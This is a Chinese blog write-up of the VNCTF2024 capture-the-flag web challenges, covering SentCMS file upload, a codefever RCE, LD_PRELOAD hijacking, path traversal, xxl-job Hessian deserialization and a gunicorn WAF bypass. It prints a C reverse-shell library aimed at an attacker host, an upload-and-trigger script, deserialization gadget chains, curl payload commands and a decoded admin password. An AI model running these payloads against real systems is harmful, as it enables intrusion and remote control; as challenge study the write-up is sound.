VNCTF2024

VNCTF2024

前言

web 3/8 …..完蛋了

image-20240218163206298

image-20240218164437134

givenphp和cutepath感觉就只差一点,但是就是不知道问题出在哪,烦死了

TEL✌也太强了,AK了web,真神仙啊

checkin

js签到题

image-20240218164747185

image-20240218164805153

TrySent

SentCms,直接搜漏洞,找到个任意文件上传

/user/upload/upload/admin/upload/upload

Sentcms任意文件上传漏洞 | Hanayuzu’Blog参照文章复现即可

文章用的是jpg的图片马,但是由于jpg的格式问题,木马不是都能放进每张jpg图片,会在访问时出现问题

所以我改用png的图片马,真好用

image-20240217170927101

image-20240217163307164

codefever_again

当时还在疑惑为什么是again,结束后看到大佬们都知道是西湖论剑2022的题,洞都没修

有意思的是在附件中藏在exp代码

image-20240218165744071

但是刚开始我看到反弹shell,我以为只是题目中某处要用,给个工具给我们利用一下

但是不知道他是干嘛的,然后去搜codefever的CVE

但其实在搜之前,我登陆了管理员账户,发现许多用户都在邮箱处进行利用

codefever 代码审计 – View of Thai

The Codefeve before 2023.2.7-b1c2e7f has a Remote Command Execute Vulnerability · Issue #140 · PGYER/codefever (github.com)

发现是email出了问题,这时我回过头来看了下这个代码,发现那不是一把梭脚本吗

直接启动

image-20240217163242311

image-20240217163208288

givenphp

除了checkin最先看的一题,当时的思路直接就是打LD_PRELOAD,有上传点,禁用了能够直接环境变量RCE的代码

思路这么明确,但是却一直打不通

image-20240218170540368

比赛结束后问了下Boogipop大佬

image-20240219104201974

TEL✌WP

不需要 unsetenv("LD_PRELOAD");(感觉有点玄学,之前都需要的呀

连TEL✌都在疑惑

so文件内容

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
char *server_ip = "vps";
uint32_t server_port = 114514;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
        exit(0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execve("/bin/bash", 0, 0);
}
import requests

url = "http://d19a0faf-ab06-4db1-85a0-806d02bdeb2f.vnctf2024.manqiu.top:80/index.php"

data = {
    "upload":1
}
file = {
    "file":open('2.so','rb')
}
r = requests.post(url,data=data,files=file)
print(r.text[-45:])

fn = r.text[-45:].strip()

param = {
    "challenge":1,
    "key":"LD_PRELOAD",
    "value":fn,
    "guess":'\x00lambda_1'
}
r = requests.get(url,params=param)
print(r.text)

p1ng师傅WP

image-20240221003410654

查看whoami调用的静态链接库

然后劫持函数

#include <stdlib.h>
#include <stdio.h>

void payload() {              
    system("nl /*");              
}              
int fflush() {              
    if (getenv("LD_PRELOAD") == NULL) { return 0; }              
    unsetenv("LD_PRELOAD");              
    payload();              
}

image-20240221011055707

官方WP

别骂了别骂了

image-20240221004827390

也是劫持函数

噢,跟上面窜连起来了,上面劫持puts不成功是因为用了unsetenv

CutePath

最有心无力的一集,直接发现了遍历任意目录的漏洞,但是就是一直不知道怎么去读flag.txt,唉,直接卡死

群友说是给flag.txt改名改到可下载的目录下,但是我也尝试过失败了(不知道咋改的

image-20240219090225741

TEL✌发现了个把文件目录打包的路由

image-20240219090333407

其实你上传一个目录后,点下载也能看到,服了,这么多按钮都试过了,偏偏漏了这个

/chfs/downloaddir/../../../flag.zip

image-20240219090112842

解法二

/chfs/files?filepath=../&_=12541315435

发现base64,解密发现账号密码

YWRtaW46Z2RnbS5lZHUuY25ATTFuOUsxbjlQQGFz

admin:gdgm.edu.cn@M1n9K1n9P@as

登录之后能改名,burp抓包后,转到flag目录

/chfs/files?filepath=../../../flag/flag&_=12541315435

对flag.txt进行改名,从而使它到可下载的目录

但不知道咋改。。。

image-20240220235220828

。。。忘记home

Zhi

比赛结束前半小时看一看

ZhiCms,发现CVE,但是作者是赵总,他把文章给删了(呜呜呜,跟西湖论剑时一样,也是查到赵总的CVE,但是把文章给删了

这里只能根据漏洞描述自己打

image-20240218171603559

但是TEL✌好像是进入后台拿shell,太强了 (由于是0day,被锁了看不了

我上面的思路也是出题人想让我们打的

VNCTF2024-ZhiCms & CVE-2024-0603 - 我的文章记录 (pysnow.cn)

师傅太强了,回头再自己复现一下

ezjob

附件叫xxl-job-admin-2.0.1.jar,看完后像个cms(我把那种项目都叫cms

于是查漏洞

发现是xxl-job是个平台,分为admin和executor两端,然后查到几个漏洞,不知道有没有用

xxl-job 2.2.0的RCE

xxl-job <2.1.2的Hessian反序列化

xxl-job <=2.0.2 hessian反序列化漏洞 (这个好像最贴近版本xxl-job api未授权Hessian2反序列化 - 先知社区 (aliyun.com)

TEL✌WP

https://forum.butian.net/share/2592

好啊,原来是我Boogipop大佬的文章

hessian反序列化

虽然是不出网,没法弹 shell,但是 dns 出网呀 (感觉好神奇

public static void main(String[] args) throws Exception {
    PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
    UIDefaults uiDefaults = new UIDefaults();
    uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID,
            new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename",
            new Object[]{"/tmp/tel1.xslt",SerializeUtils.getFileBytes("telll.xslt")}));
    SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
    FileOutputStream fileOut = new FileOutputStream("exp1.ser");
    Hessian2Output out = new Hessian2Output(fileOut);
    fileOut.write(67);
    out.getSerializerFactory().setAllowNonSerializable(true);
    out.writeObject(pkcs9Attributes);
    out.close();
    fileOut.close();
}

public static void main(String[] args) throws Exception {
	PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
    UIDefaults uiDefaults = new UIDefaults();
    uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process",
            "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/tel1.xslt"}}));
    SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
    FileOutputStream fileOut = new FileOutputStream("exp2.ser");
    Hessian2Output out = new Hessian2Output(fileOut);
    fileOut.write(67);
    out.getSerializerFactory().setAllowNonSerializable(true);
    out.writeObject(pkcs9Attributes);
    out.close();
    fileOut.close();
}

dns 外带,拼起来就是 flag 了,flag 在 /flag_is_is_here (?这是咋知道的)

curl -X POST -H "Content-Type: x-application/hessian" --data-binary @exp1.ser http://119.45.241.186:8989/xxl-job-admin/api

curl -X POST -H "Content-Type: x-application/hessian" --data-binary @exp2.ser http://119.45.241.186:8989/xxl-job-admin/api

image-20240219095603497

看不懂

downdowndown

附件看不了一点,就看懂个gunicorn,还不咋了解

TEL✌WP

http3 访问

gunicorn 是以 HTTP/ 做截断的

这样子绕 waf

docker run --platform linux/amd64 --rm ymuski/curl-http3 curl -k --http3 https://119.45.241.186:2333/GET%20%2FFLAG%20HTTP%2F1.0/public

问卷调查

image-20240218164642596

reference

VNCTF2024-writeup (qq.com)

VNCTF2024 Writeup | TEL (l1nyz-tel.cc)


VNCTF2024
https://zer0peach.github.io/2024/02/17/VNCTF2024/
作者
Zer0peach
发布于
2024年2月17日
许可协议